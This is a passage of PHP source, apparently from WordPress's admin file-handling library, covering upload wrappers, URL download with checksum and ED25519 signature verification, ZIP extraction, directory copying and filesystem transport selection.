 *
 * Passes the {@see 'wp_handle_upload'} action.
 *
 * @since 2.0.0
 *
 * @see _wp_handle_upload()
 *
 * @param array      $file      Reference to a single element of `$_FILES`.
 *                              Call the function once for each uploaded file.
 * @param array|bool $overrides Optional. An associative array of names => values
 *                              to override default variables. Default false.
 * @param string     $time      Optional. Time formatted in 'yyyy/mm'. Default null.
 * @return array On success, returns an associative array of file attributes.
 *               On failure, returns `$overrides['upload_error_handler']( &$file, $message )`
 *               or `array( 'error' => $message )`.
 */
function wp_handle_upload( &$file, $overrides = false, $time = null ) {
	/*
	 *  $_POST['action'] must be set and its value must equal $overrides['action']
	 *  or this:
	 */
	$action = 'wp_handle_upload';
	if ( isset( $overrides['action'] ) ) {
		$action = $overrides['action'];
	}

return _wp_handle_upload( $file, $overrides, $time, $action );
}

/**
 * Wrapper for _wp_handle_upload().
 *
 * Passes the {@see 'wp_handle_sideload'} action.
 *
 * @since 2.6.0
 *
 * @see _wp_handle_upload()
 *
 * @param array      $file      Reference to a single element of `$_FILES`.
 *                              Call the function once for each uploaded file.
 * @param array|bool $overrides Optional. An associative array of names => values
 *                              to override default variables. Default false.
 * @param string     $time      Optional. Time formatted in 'yyyy/mm'. Default null.
 * @return array On success, returns an associative array of file attributes.
 *               On failure, returns `$overrides['upload_error_handler']( &$file, $message )`
 *               or `array( 'error' => $message )`.
 */
function wp_handle_sideload( &$file, $overrides = false, $time = null ) {
	/*
	 *  $_POST['action'] must be set and its value must equal $overrides['action']
	 *  or this:
	 */
	$action = 'wp_handle_sideload';
	if ( isset( $overrides['action'] ) ) {
		$action = $overrides['action'];
	}

return _wp_handle_upload( $file, $overrides, $time, $action );
}

/**
 * Downloads a URL to a local temporary file using the WordPress HTTP API.
 *
 * Please note that the calling function must unlink() the file.
 *
 * @since 2.5.0
 * @since 5.2.0 Signature Verification with SoftFail was added.
 *
 * @param string $url                    The URL of the file to download.
 * @param int    $timeout                The timeout for the request to download the file.
 *                                       Default 300 seconds.
 * @param bool   $signature_verification Whether to perform Signature Verification.
 *                                       Default false.
 * @return string|WP_Error Filename on success, WP_Error on failure.
 */
function download_url( $url, $timeout = 300, $signature_verification = false ) {
	// WARNING: The file is not automatically deleted, the script must unlink() the file.
	if ( ! $url ) {
		return new WP_Error( 'http_no_url', __( 'Invalid URL Provided.' ) );
	}

$url_filename = basename( parse_url( $url, PHP_URL_PATH ) );

$tmpfname = wp_tempnam( $url_filename );
	if ( ! $tmpfname ) {
		return new WP_Error( 'http_no_file', __( 'Could not create Temporary file.' ) );
	}

$response = wp_safe_remote_get(
		$url,
		array(
			'timeout'  => $timeout,
			'stream'   => true,
			'filename' => $tmpfname,
		)
	);

if ( is_wp_error( $response ) ) {
		unlink( $tmpfname );
		return $response;
	}

$response_code = wp_remote_retrieve_response_code( $response );

if ( 200 != $response_code ) {
		$data = array(
			'code' => $response_code,
		);

// Retrieve a sample of the response body for debugging purposes.
		$tmpf = fopen( $tmpfname, 'rb' );
		if ( $tmpf ) {
			/**
			 * Filters the maximum error response body size in `download_url()`.
			 *
			 * @since 5.1.0
			 *
			 * @see download_url()
			 *
			 * @param int $size The maximum error response body size. Default 1 KB.
			 */
			$response_size = apply_filters( 'download_url_error_max_body_size', KB_IN_BYTES );
			$data['body']  = fread( $tmpf, $response_size );
			fclose( $tmpf );
		}

unlink( $tmpfname );
		return new WP_Error( 'http_404', trim( wp_remote_retrieve_response_message( $response ) ), $data );
	}

$content_md5 = wp_remote_retrieve_header( $response, 'content-md5' );
	if ( $content_md5 ) {
		$md5_check = verify_file_md5( $tmpfname, $content_md5 );
		if ( is_wp_error( $md5_check ) ) {
			unlink( $tmpfname );
			return $md5_check;
		}
	}

// If the caller expects signature verification to occur, check to see if this URL supports it.
	if ( $signature_verification ) {
		/**
		 * Filters the list of hosts which should have Signature Verification attempted on.
		 *
		 * @since 5.2.0
		 *
		 * @param string[] $hostnames List of hostnames.
		 */
		$signed_hostnames       = apply_filters( 'wp_signature_hosts', array( 'wordpress.org', 'downloads.wordpress.org', 's.w.org' ) );
		$signature_verification = in_array( parse_url( $url, PHP_URL_HOST ), $signed_hostnames, true );
	}

// Perform signature valiation if supported.
	if ( $signature_verification ) {
		$signature = wp_remote_retrieve_header( $response, 'x-content-signature' );
		if ( ! $signature ) {
			// Retrieve signatures from a file if the header wasn't included.
			// WordPress.org stores signatures at $package_url.sig.

$signature_url = false;
			$url_path      = parse_url( $url, PHP_URL_PATH );

if ( '.zip' === substr( $url_path, -4 ) || '.tar.gz' === substr( $url_path, -7 ) ) {
				$signature_url = str_replace( $url_path, $url_path . '.sig', $url );
			}

/**
			 * Filter the URL where the signature for a file is located.
			 *
			 * @since 5.2.0
			 *
			 * @param false|string $signature_url The URL where signatures can be found for a file, or false if none are known.
			 * @param string $url                 The URL being verified.
			 */
			$signature_url = apply_filters( 'wp_signature_url', $signature_url, $url );

if ( $signature_url ) {
				$signature_request = wp_safe_remote_get(
					$signature_url,
					array(
						'limit_response_size' => 10 * KB_IN_BYTES, // 10KB should be large enough for quite a few signatures.
					)
				);

if ( ! is_wp_error( $signature_request ) && 200 === wp_remote_retrieve_response_code( $signature_request ) ) {
					$signature = explode( "\n", wp_remote_retrieve_body( $signature_request ) );
				}
			}
		}

// Perform the checks.
		$signature_verification = verify_file_signature( $tmpfname, $signature, basename( parse_url( $url, PHP_URL_PATH ) ) );
	}

if ( is_wp_error( $signature_verification ) ) {
		if (
			/**
			 * Filters whether Signature Verification failures should be allowed to soft fail.
			 *
			 * WARNING: This may be removed from a future release.
			 *
			 * @since 5.2.0
			 *
			 * @param bool   $signature_softfail If a softfail is allowed.
			 * @param string $url                The url being accessed.
			 */
			apply_filters( 'wp_signature_softfail', true, $url )
		) {
			$signature_verification->add_data( $tmpfname, 'softfail-filename' );
		} else {
			// Hard-fail.
			unlink( $tmpfname );
		}

return $signature_verification;
	}

return $tmpfname;
}

/**
 * Calculates and compares the MD5 of a file to its expected value.
 *
 * @since 3.7.0
 *
 * @param string $filename     The filename to check the MD5 of.
 * @param string $expected_md5 The expected MD5 of the file, either a base64-encoded raw md5,
 *                             or a hex-encoded md5.
 * @return bool|WP_Error True on success, false when the MD5 format is unknown/unexpected,
 *                       WP_Error on failure.
 */
function verify_file_md5( $filename, $expected_md5 ) {
	if ( 32 == strlen( $expected_md5 ) ) {
		$expected_raw_md5 = pack( 'H*', $expected_md5 );
	} elseif ( 24 == strlen( $expected_md5 ) ) {
		$expected_raw_md5 = base64_decode( $expected_md5 );
	} else {
		return false; // Unknown format.
	}

$file_md5 = md5_file( $filename, true );

if ( $file_md5 === $expected_raw_md5 ) {
		return true;
	}

return new WP_Error(
		'md5_mismatch',
		sprintf(
			/* translators: 1: File checksum, 2: Expected checksum value. */
			__( 'The checksum of the file (%1$s) does not match the expected checksum value (%2$s).' ),
			bin2hex( $file_md5 ),
			bin2hex( $expected_raw_md5 )
		)
	);
}

/**
 * Verifies the contents of a file against its ED25519 signature.
 *
 * @since 5.2.0
 *
 * @param string       $filename            The file to validate.
 * @param string|array $signatures          A Signature provided for the file.
 * @param string       $filename_for_errors A friendly filename for errors. Optional.
 * @return bool|WP_Error True on success, false if verification not attempted,
 *                       or WP_Error describing an error condition.
 */
function verify_file_signature( $filename, $signatures, $filename_for_errors = false ) {
	if ( ! $filename_for_errors ) {
		$filename_for_errors = wp_basename( $filename );
	}

// Check we can process signatures.
	if ( ! function_exists( 'sodium_crypto_sign_verify_detached' ) || ! in_array( 'sha384', array_map( 'strtolower', hash_algos() ), true ) ) {
		return new WP_Error(
			'signature_verification_unsupported',
			sprintf(
				/* translators: %s: The filename of the package. */
				__( 'The authenticity of %s could not be verified as signature verification is unavailable on this system.' ),
				'<span class="code">' . esc_html( $filename_for_errors ) . '</span>'
			),
			( ! function_exists( 'sodium_crypto_sign_verify_detached' ) ? 'sodium_crypto_sign_verify_detached' : 'sha384' )
		);
	}

// Check for a edge-case affecting PHP Maths abilities.
	if (
		! extension_loaded( 'sodium' ) &&
		in_array( PHP_VERSION_ID, array( 70200, 70201, 70202 ), true ) &&
		extension_loaded( 'opcache' )
	) {
		// Sodium_Compat isn't compatible with PHP 7.2.0~7.2.2 due to a bug in the PHP Opcache extension, bail early as it'll fail.
		// https://bugs.php.net/bug.php?id=75938

return new WP_Error(
			'signature_verification_unsupported',
			sprintf(
				/* translators: %s: The filename of the package. */
				__( 'The authenticity of %s could not be verified as signature verification is unavailable on this system.' ),
				'<span class="code">' . esc_html( $filename_for_errors ) . '</span>'
			),
			array(
				'php'    => phpversion(),
				// phpcs:ignore PHPCompatibility.Constants.NewConstants.sodium_library_versionFound
				'sodium' => defined( 'SODIUM_LIBRARY_VERSION' ) ? SODIUM_LIBRARY_VERSION : ( defined( 'ParagonIE_Sodium_Compat::VERSION_STRING' ) ? ParagonIE_Sodium_Compat::VERSION_STRING : false ),
			)
		);

}

// Verify runtime speed of Sodium_Compat is acceptable.
	if ( ! extension_loaded( 'sodium' ) && ! ParagonIE_Sodium_Compat::polyfill_is_fast() ) {
		$sodium_compat_is_fast = false;

// Allow for an old version of Sodium_Compat being loaded before the bundled WordPress one.
		if ( method_exists( 'ParagonIE_Sodium_Compat', 'runtime_speed_test' ) ) {
			// Run `ParagonIE_Sodium_Compat::runtime_speed_test()` in optimized integer mode, as that's what WordPress utilises during signing verifications.
			// phpcs:disable WordPress.NamingConventions.ValidVariableName
			$old_fastMult                      = ParagonIE_Sodium_Compat::$fastMult;
			ParagonIE_Sodium_Compat::$fastMult = true;
			$sodium_compat_is_fast             = ParagonIE_Sodium_Compat::runtime_speed_test( 100, 10 );
			ParagonIE_Sodium_Compat::$fastMult = $old_fastMult;
			// phpcs:enable
		}

// This cannot be performed in a reasonable amount of time.
		// https://github.com/paragonie/sodium_compat#help-sodium_compat-is-slow-how-can-i-make-it-fast
		if ( ! $sodium_compat_is_fast ) {
			return new WP_Error(
				'signature_verification_unsupported',
				sprintf(
					/* translators: %s: The filename of the package. */
					__( 'The authenticity of %s could not be verified as signature verification is unavailable on this system.' ),
					'<span class="code">' . esc_html( $filename_for_errors ) . '</span>'
				),
				array(
					'php'                => phpversion(),
					// phpcs:ignore PHPCompatibility.Constants.NewConstants.sodium_library_versionFound
					'sodium'             => defined( 'SODIUM_LIBRARY_VERSION' ) ? SODIUM_LIBRARY_VERSION : ( defined( 'ParagonIE_Sodium_Compat::VERSION_STRING' ) ? ParagonIE_Sodium_Compat::VERSION_STRING : false ),
					'polyfill_is_fast'   => false,
					'max_execution_time' => ini_get( 'max_execution_time' ),
				)
			);
		}
	}

if ( ! $signatures ) {
		return new WP_Error(
			'signature_verification_no_signature',
			sprintf(
				/* translators: %s: The filename of the package. */
				__( 'The authenticity of %s could not be verified as no signature was found.' ),
				'<span class="code">' . esc_html( $filename_for_errors ) . '</span>'
			),
			array(
				'filename' => $filename_for_errors,
			)
		);
	}

$trusted_keys = wp_trusted_keys();
	$file_hash    = hash_file( 'sha384', $filename, true );

mbstring_binary_safe_encoding();

$skipped_key       = 0;
	$skipped_signature = 0;

foreach ( (array) $signatures as $signature ) {
		$signature_raw = base64_decode( $signature );

// Ensure only valid-length signatures are considered.
		if ( SODIUM_CRYPTO_SIGN_BYTES !== strlen( $signature_raw ) ) {
			$skipped_signature++;
			continue;
		}

foreach ( (array) $trusted_keys as $key ) {
			$key_raw = base64_decode( $key );

// Only pass valid public keys through.
			if ( SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES !== strlen( $key_raw ) ) {
				$skipped_key++;
				continue;
			}

if ( sodium_crypto_sign_verify_detached( $signature_raw, $file_hash, $key_raw ) ) {
				reset_mbstring_encoding();
				return true;
			}
		}
	}

reset_mbstring_encoding();

return new WP_Error(
		'signature_verification_failed',
		sprintf(
			/* translators: %s: The filename of the package. */
			__( 'The authenticity of %s could not be verified.' ),
			'<span class="code">' . esc_html( $filename_for_errors ) . '</span>'
		),
		// Error data helpful for debugging:
		array(
			'filename'    => $filename_for_errors,
			'keys'        => $trusted_keys,
			'signatures'  => $signatures,
			'hash'        => bin2hex( $file_hash ),
			'skipped_key' => $skipped_key,
			'skipped_sig' => $skipped_signature,
			'php'         => phpversion(),
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.sodium_library_versionFound
			'sodium'      => defined( 'SODIUM_LIBRARY_VERSION' ) ? SODIUM_LIBRARY_VERSION : ( defined( 'ParagonIE_Sodium_Compat::VERSION_STRING' ) ? ParagonIE_Sodium_Compat::VERSION_STRING : false ),
		)
	);
}

/**
 * Retrieves the list of signing keys trusted by WordPress.
 *
 * @since 5.2.0
 *
 * @return string[] Array of base64-encoded signing keys.
 */
function wp_trusted_keys() {
	$trusted_keys = array();

if ( time() < 1617235200 ) {
		// WordPress.org Key #1 - This key is only valid before April 1st, 2021.
		$trusted_keys[] = 'fRPyrxb/MvVLbdsYi+OOEv4xc+Eqpsj+kkAS6gNOkI0=';
	}

// TODO: Add key #2 with longer expiration.

/**
	 * Filter the valid signing keys used to verify the contents of files.
	 *
	 * @since 5.2.0
	 *
	 * @param string[] $trusted_keys The trusted keys that may sign packages.
	 */
	return apply_filters( 'wp_trusted_keys', $trusted_keys );
}

/**
 * Unzips a specified ZIP file to a location on the filesystem via the WordPress
 * Filesystem Abstraction.
 *
 * Assumes that WP_Filesystem() has already been called and set up. Does not extract
 * a root-level __MACOSX directory, if present.
 *
 * Attempts to increase the PHP memory limit to 256M before uncompressing. However,
 * the most memory required shouldn't be much larger than the archive itself.
 *
 * @since 2.5.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string $file Full path and filename of ZIP archive.
 * @param string $to   Full path on the filesystem to extract archive to.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function unzip_file( $file, $to ) {
	global $wp_filesystem;

if ( ! $wp_filesystem || ! is_object( $wp_filesystem ) ) {
		return new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
	}

// Unzip can use a lot of memory, but not this much hopefully.
	wp_raise_memory_limit( 'admin' );

$needed_dirs = array();
	$to          = trailingslashit( $to );

// Determine any parent directories needed (of the upgrade directory).
	if ( ! $wp_filesystem->is_dir( $to ) ) { // Only do parents if no children exist.
		$path = preg_split( '![/\\\]!', untrailingslashit( $to ) );
		for ( $i = count( $path ); $i >= 0; $i-- ) {
			if ( empty( $path[ $i ] ) ) {
				continue;
			}

$dir = implode( '/', array_slice( $path, 0, $i + 1 ) );
			if ( preg_match( '!^[a-z]:$!i', $dir ) ) { // Skip it if it looks like a Windows Drive letter.
				continue;
			}

if ( ! $wp_filesystem->is_dir( $dir ) ) {
				$needed_dirs[] = $dir;
			} else {
				break; // A folder exists, therefore we don't need to check the levels below this.
			}
		}
	}

/**
	 * Filters whether to use ZipArchive to unzip archives.
	 *
	 * @since 3.0.0
	 *
	 * @param bool $ziparchive Whether to use ZipArchive. Default true.
	 */
	if ( class_exists( 'ZipArchive', false ) && apply_filters( 'unzip_file_use_ziparchive', true ) ) {
		$result = _unzip_file_ziparchive( $file, $to, $needed_dirs );
		if ( true === $result ) {
			return $result;
		} elseif ( is_wp_error( $result ) ) {
			if ( 'incompatible_archive' !== $result->get_error_code() ) {
				return $result;
			}
		}
	}
	// Fall through to PclZip if ZipArchive is not available, or encountered an error opening the file.
	return _unzip_file_pclzip( $file, $to, $needed_dirs );
}

/**
 * Attempts to unzip an archive using the ZipArchive class.
 *
 * This function should not be called directly, use `unzip_file()` instead.
 *
 * Assumes that WP_Filesystem() has already been called and set up.
 *
 * @since 3.0.0
 * @access private
 *
 * @see unzip_file()
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string   $file        Full path and filename of ZIP archive.
 * @param string   $to          Full path on the filesystem to extract archive to.
 * @param string[] $needed_dirs A partial list of required folders needed to be created.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function _unzip_file_ziparchive( $file, $to, $needed_dirs = array() ) {
	global $wp_filesystem;

$z = new ZipArchive();

$zopen = $z->open( $file, ZIPARCHIVE::CHECKCONS );
	if ( true !== $zopen ) {
		return new WP_Error( 'incompatible_archive', __( 'Incompatible Archive.' ), array( 'ziparchive_error' => $zopen ) );
	}

$uncompressed_size = 0;

for ( $i = 0; $i < $z->numFiles; $i++ ) {
		$info = $z->statIndex( $i );
		if ( ! $info ) {
			return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) );
		}

if ( '__MACOSX/' === substr( $info['name'], 0, 9 ) ) { // Skip the OS X-created __MACOSX directory.
			continue;
		}

// Don't extract invalid files:
		if ( 0 !== validate_file( $info['name'] ) ) {
			continue;
		}

$uncompressed_size += $info['size'];

$dirname = dirname( $info['name'] );

if ( '/' === substr( $info['name'], -1 ) ) {
			// Directory.
			$needed_dirs[] = $to . untrailingslashit( $info['name'] );
		} elseif ( '.' !== $dirname ) {
			// Path to a file.
			$needed_dirs[] = $to . untrailingslashit( $dirname );
		}
	}

/*
	 * disk_free_space() could return false. Assume that any falsey value is an error.
	 * A disk that has zero free bytes has bigger problems.
	 * Require we have enough space to unzip the file and copy its contents, with a 10% buffer.
	 */
	if ( wp_doing_cron() ) {
		$available_space = @disk_free_space( WP_CONTENT_DIR );
		if ( $available_space && ( $uncompressed_size * 2.1 ) > $available_space ) {
			return new WP_Error( 'disk_full_unzip_file', __( 'Could not copy files. You may have run out of disk space.' ), compact( 'uncompressed_size', 'available_space' ) );
		}
	}

$needed_dirs = array_unique( $needed_dirs );
	foreach ( $needed_dirs as $dir ) {
		// Check the parent folders of the folders all exist within the creation array.
		if ( untrailingslashit( $to ) == $dir ) { // Skip over the working directory, we know this exists (or will exist).
			continue;
		}
		if ( strpos( $dir, $to ) === false ) { // If the directory is not within the working directory, skip it.
			continue;
		}

$parent_folder = dirname( $dir );
		while ( ! empty( $parent_folder ) && untrailingslashit( $to ) != $parent_folder && ! in_array( $parent_folder, $needed_dirs, true ) ) {
			$needed_dirs[] = $parent_folder;
			$parent_folder = dirname( $parent_folder );
		}
	}
	asort( $needed_dirs );

// Create those directories if need be:
	foreach ( $needed_dirs as $_dir ) {
		// Only check to see if the Dir exists upon creation failure. Less I/O this way.
		if ( ! $wp_filesystem->mkdir( $_dir, FS_CHMOD_DIR ) && ! $wp_filesystem->is_dir( $_dir ) ) {
			return new WP_Error( 'mkdir_failed_ziparchive', __( 'Could not create directory.' ), substr( $_dir, strlen( $to ) ) );
		}
	}
	unset( $needed_dirs );

for ( $i = 0; $i < $z->numFiles; $i++ ) {
		$info = $z->statIndex( $i );
		if ( ! $info ) {
			return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) );
		}

if ( '/' === substr( $info['name'], -1 ) ) { // Directory.
			continue;
		}

if ( '__MACOSX/' === substr( $info['name'], 0, 9 ) ) { // Don't extract the OS X-created __MACOSX directory files.
			continue;
		}

// Don't extract invalid files:
		if ( 0 !== validate_file( $info['name'] ) ) {
			continue;
		}

$contents = $z->getFromIndex( $i );
		if ( false === $contents ) {
			return new WP_Error( 'extract_failed_ziparchive', __( 'Could not extract file from archive.' ), $info['name'] );
		}

if ( ! $wp_filesystem->put_contents( $to . $info['name'], $contents, FS_CHMOD_FILE ) ) {
			return new WP_Error( 'copy_failed_ziparchive', __( 'Could not copy file.' ), $info['name'] );
		}
	}

$z->close();

return true;
}

/**
 * Attempts to unzip an archive using the PclZip library.
 *
 * This function should not be called directly, use `unzip_file()` instead.
 *
 * Assumes that WP_Filesystem() has already been called and set up.
 *
 * @since 3.0.0
 * @access private
 *
 * @see unzip_file()
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string   $file        Full path and filename of ZIP archive.
 * @param string   $to          Full path on the filesystem to extract archive to.
 * @param string[] $needed_dirs A partial list of required folders needed to be created.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function _unzip_file_pclzip( $file, $to, $needed_dirs = array() ) {
	global $wp_filesystem;

mbstring_binary_safe_encoding();

require_once ABSPATH . 'wp-admin/includes/class-pclzip.php';

$archive = new PclZip( $file );

$archive_files = $archive->extract( PCLZIP_OPT_EXTRACT_AS_STRING );

reset_mbstring_encoding();

// Is the archive valid?
	if ( ! is_array( $archive_files ) ) {
		return new WP_Error( 'incompatible_archive', __( 'Incompatible Archive.' ), $archive->errorInfo( true ) );
	}

if ( 0 === count( $archive_files ) ) {
		return new WP_Error( 'empty_archive_pclzip', __( 'Empty archive.' ) );
	}

$uncompressed_size = 0;

// Determine any children directories needed (From within the archive).
	foreach ( $archive_files as $file ) {
		if ( '__MACOSX/' === substr( $file['filename'], 0, 9 ) ) { // Skip the OS X-created __MACOSX directory.
			continue;
		}

$uncompressed_size += $file['size'];

$needed_dirs[] = $to . untrailingslashit( $file['folder'] ? $file['filename'] : dirname( $file['filename'] ) );
	}

// Create those directories if need be:
	foreach ( $needed_dirs as $_dir ) {
		// Only check to see if the dir exists upon creation failure. Less I/O this way.
		if ( ! $wp_filesystem->mkdir( $_dir, FS_CHMOD_DIR ) && ! $wp_filesystem->is_dir( $_dir ) ) {
			return new WP_Error( 'mkdir_failed_pclzip', __( 'Could not create directory.' ), substr( $_dir, strlen( $to ) ) );
		}
	}
	unset( $needed_dirs );

// Extract the files from the zip.
	foreach ( $archive_files as $file ) {
		if ( $file['folder'] ) {
			continue;
		}

if ( '__MACOSX/' === substr( $file['filename'], 0, 9 ) ) { // Don't extract the OS X-created __MACOSX directory files.
			continue;
		}

// Don't extract invalid files:
		if ( 0 !== validate_file( $file['filename'] ) ) {
			continue;
		}

if ( ! $wp_filesystem->put_contents( $to . $file['filename'], $file['content'], FS_CHMOD_FILE ) ) {
			return new WP_Error( 'copy_failed_pclzip', __( 'Could not copy file.' ), $file['filename'] );
		}
	}
	return true;
}

/**
 * Copies a directory from one location to another via the WordPress Filesystem
 * Abstraction.
 *
 * Assumes that WP_Filesystem() has already been called and setup.
 *
 * @since 2.5.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string   $from      Source directory.
 * @param string   $to        Destination directory.
 * @param string[] $skip_list An array of files/folders to skip copying.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function copy_dir( $from, $to, $skip_list = array() ) {
	global $wp_filesystem;

$dirlist = $wp_filesystem->dirlist( $from );

$from = trailingslashit( $from );
	$to   = trailingslashit( $to );

foreach ( (array) $dirlist as $filename => $fileinfo ) {
		if ( in_array( $filename, $skip_list, true ) ) {
			continue;
		}

if ( 'f' === $fileinfo['type'] ) {
			if ( ! $wp_filesystem->copy( $from . $filename, $to . $filename, true, FS_CHMOD_FILE ) ) {
				// If copy failed, chmod file to 0644 and try again.
				$wp_filesystem->chmod( $to . $filename, FS_CHMOD_FILE );
				if ( ! $wp_filesystem->copy( $from . $filename, $to . $filename, true, FS_CHMOD_FILE ) ) {
					return new WP_Error( 'copy_failed_copy_dir', __( 'Could not copy file.' ), $to . $filename );
				}
			}

wp_opcache_invalidate( $to . $filename );
		} elseif ( 'd' === $fileinfo['type'] ) {
			if ( ! $wp_filesystem->is_dir( $to . $filename ) ) {
				if ( ! $wp_filesystem->mkdir( $to . $filename, FS_CHMOD_DIR ) ) {
					return new WP_Error( 'mkdir_failed_copy_dir', __( 'Could not create directory.' ), $to . $filename );
				}
			}

// Generate the $sub_skip_list for the subdirectory as a sub-set of the existing $skip_list.
			$sub_skip_list = array();
			foreach ( $skip_list as $skip_item ) {
				if ( 0 === strpos( $skip_item, $filename . '/' ) ) {
					$sub_skip_list[] = preg_replace( '!^' . preg_quote( $filename, '!' ) . '/!i', '', $skip_item );
				}
			}

$result = copy_dir( $from . $filename, $to . $filename, $sub_skip_list );
			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}
	}

return true;
}

/**
 * Initializes and connects the WordPress Filesystem Abstraction classes.
 *
 * This function will include the chosen transport and attempt connecting.
 *
 * Plugins may add extra transports, And force WordPress to use them by returning
 * the filename via the {@see 'filesystem_method_file'} filter.
 *
 * @since 2.5.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param array|false  $args                         Optional. Connection args, These are passed
 *                                                   directly to the `WP_Filesystem_*()` classes.
 *                                                   Default false.
 * @param string|false $context                      Optional. Context for get_filesystem_method().
 *                                                   Default false.
 * @param bool         $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable.
 *                                                   Default false.
 * @return bool|null True on success, false on failure,
 *                   null if the filesystem method class file does not exist.
 */
function WP_Filesystem( $args = false, $context = false, $allow_relaxed_file_ownership = false ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	global $wp_filesystem;

require_once ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php';

$method = get_filesystem_method( $args, $context, $allow_relaxed_file_ownership );

if ( ! $method ) {
		return false;
	}

if ( ! class_exists( "WP_Filesystem_$method" ) ) {

/**
		 * Filters the path for a specific filesystem method class file.
		 *
		 * @since 2.6.0
		 *
		 * @see get_filesystem_method()
		 *
		 * @param string $path   Path to the specific filesystem method class file.
		 * @param string $method The filesystem method to use.
		 */
		$abstraction_file = apply_filters( 'filesystem_method_file', ABSPATH . 'wp-admin/includes/class-wp-filesystem-' . $method . '.php', $method );

if ( ! file_exists( $abstraction_file ) ) {
			return;
		}

require_once $abstraction_file;
	}
	$method = "WP_Filesystem_$method";

$wp_filesystem = new $method( $args );

/*
	 * Define the timeouts for the connections. Only available after the constructor is called
	 * to allow for per-transport overriding of the default.
	 */
	if ( ! defined( 'FS_CONNECT_TIMEOUT' ) ) {
		define( 'FS_CONNECT_TIMEOUT', 30 );
	}
	if ( ! defined( 'FS_TIMEOUT' ) ) {
		define( 'FS_TIMEOUT', 30 );
	}

if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
		return false;
	}

if ( ! $wp_filesystem->connect() ) {
		return false; // There was an error connecting to the server.
	}

// Set the permission constants if not already set.
	if ( ! defined( 'FS_CHMOD_DIR' ) ) {
		define( 'FS_CHMOD_DIR', ( fileperms( ABSPATH ) & 0777 | 0755 ) );
	}
	if ( ! defined( 'FS_CHMOD_FILE' ) ) {
		define( 'FS_CHMOD_FILE', ( fileperms( ABSPATH . 'index.php' ) & 0777 | 0644 ) );
	}

return true;
}

/**
 * Determines which method to use for reading, writing, modifying, or deleting
 * files on the filesystem.
 *
 * The priority of the transports are: Direct, SSH2, FTP PHP Extension, FTP Sockets
 * (Via Sockets class, or `fsockopen()`). Valid values for these are: 'direct', 'ssh2',
 * 'ftpext' or 'ftpsockets'.
 *
 * The return value can be overridden by defining the `FS_METHOD` constant in `wp-config.php`,
 * or filtering via {@see 'filesystem_method'}.
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/#wordpress-upgrade-constants
 *
 * Plugins may define a custom transport handler, See WP_Filesystem().
 *
 * @since 2.5.0
 *
 * @global callable $_wp_filesystem_direct_method
 *
 * @param array  $args                         Optional. Connection details. Default empty array.
 * @param string $context                      Optional. Full path to the directory that is tested
 *                                             for being writable. Default empty.
 * @param bool   $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable.
 *                                             Default false.
 * @return string The transport to use, see description for valid return values.
 */
function get_filesystem_method( $args = array(), $context = '', $allow_relaxed_file_ownership = false ) {
	// Please ensure that this is either 'direct', 'ssh2', 'ftpext', or 'ftpsockets'.
	$method = defined( 'FS_METHOD' ) ? FS_METHOD : false;

if ( ! $context ) {
		$context = WP_CONTENT_DIR;
	}

// If the directory doesn't exist (wp-content/languages) then use the parent directory as we'll create it.
	if ( WP_LANG_DIR == $context && ! is_dir( $context ) ) {
		$context = dirname( $context );
	}

$context = trailingslashit( $context );

if ( ! $method ) {

$temp_file_name = $context . 'temp-write-test-' . str_replace( '.', '-', uniqid( '', true ) );
		$temp_handle    = @fopen( $temp_file_name, 'w' );
		if ( $temp_handle ) {

// Attempt to determine the file owner of the WordPress files, and that of newly created files.
			$wp_file_owner   = false;
			$temp_file_owner = false;
			if ( function_exists( 'fileowner' ) ) {
				$wp_file_owner   = @fileowner( __FILE__ );
				$temp_file_owner = @fileowner( $temp_file_name );
			}

if ( false !== $wp_file_owner && $wp_file_owner === $temp_file_owner ) {
				/*
				 * WordPress is creating files as the same owner as the WordPress files,
				 * this means it's safe to modify & create new files via PHP.
				 */
				$method                                  = 'direct';
				$GLOBALS['_wp_filesystem_direct_method'] = 'file_owner';
			} elseif ( $allow_relaxed_file_ownership ) {
				/*
				 * The $context directory is writable, and $allow_relaxed_file_ownership is set,
				 * this means we can modify files safely in this directory.
				 * This mode doesn't create new files, only alter existing ones.
				 */
				$method                                  = 'direct';
				$GLOBALS['_wp_filesystem_direct_method'] = 'relaxed_ownership';
			}

fclose( $temp_handle );
			@unlink( $temp_file_name );
		}
	}

if ( ! $method && isset( $args['connection_type'] ) && 'ssh' === $args['connection_type'] && extension_loaded( 'ssh2' ) ) {
		$method = 'ssh2';
	}
	if ( ! $method && extension_loaded( 'ftp' ) ) {
		$method = 'ftpext';
	}
	if ( ! $method && ( extension_loaded( 'sockets' ) || function_exists( 'fsockopen' ) ) ) {
		$method = 'ftpsockets'; // Sockets: Socket extension; PHP Mode: FSockopen / fwrite / fread.
	}

/**
	 * Filters the filesystem method to use.
	 *
	 * @since 2.6.0
	 *
	 * @param string $method                       Filesystem method to return.
	 * @param array  $args                         An array of connection details for the method.
	 * @param string $context                      Full path to the directory that is tested for being writable.
	 * @param bool   $allow_relaxed_file_ownership Whether to allow Group/World writable.
	 */
	return apply_filters( 'filesystem_method', $method, $args, $context, $allow_relaxed_file_ownership );
}

/**
 * Displays a form to the user to request for their FTP/SSH details in order
 * to connect to the filesystem.
 *
 * All chosen/entered details are saved, excluding the password.
 *
